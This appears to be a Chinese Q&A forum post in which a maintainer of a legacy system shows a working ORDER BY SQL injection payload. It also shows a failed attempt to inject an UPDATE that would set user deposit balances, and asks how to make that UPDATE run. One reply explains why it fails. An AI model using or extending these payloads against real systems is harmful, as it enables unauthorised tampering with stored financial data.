mysql - sql報錯原因?
問題描述
發現一個正在維護的老系統的基于orderBy的sql注入漏洞,準備驗證一下,
我先執行這個sql注入,是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(select depositfrom sysuser_user_deposit)end)=1 ASC LIMIT 20 OFFSET 0
但是當我執行這個帶update語句的sql時報錯了:
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(updatesysuser_user_depositsetdeposit=11)end)=1 ASC LIMIT 20 OFFSET 0
報錯
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’update<br>sysuser_user_deposit<br>set<br>deposit=11)end)=1 ASC LIMIT 20 OFFSET 0’ at line 9</code>
我應該如何讓他執行update?
問題解答
回答1:主體是select的時候,里面是不能update的,否則執行不了的,mybatis這種注入我試過,<select>里執行update直接報錯,注入不了
相關文章:
1. 這是什么情況???2. html5 - h5頁面在iphone上字體變形3. 開了mc服務器但是不會全服同步數據4. javascript - 微信公號里采用七牛上傳視頻部分手機不能選擇文件5. css - input中transition 設置background-color過渡,chrome瀏覽器頁面初始化渲染會有過度效果6. php - localstroage和cookie在手機微信端,能存進去卻無法在其他頁面調用7. 好奇,求大神解答,類似淘寶的大購物量網站,訂單數據表該怎么設計?8. python 計算兩個時間相差的分鐘數,超過一天時計算不對9. javascript - vue過渡效果 css過渡 類名的先后順序10. vue.js默認值,如何相加
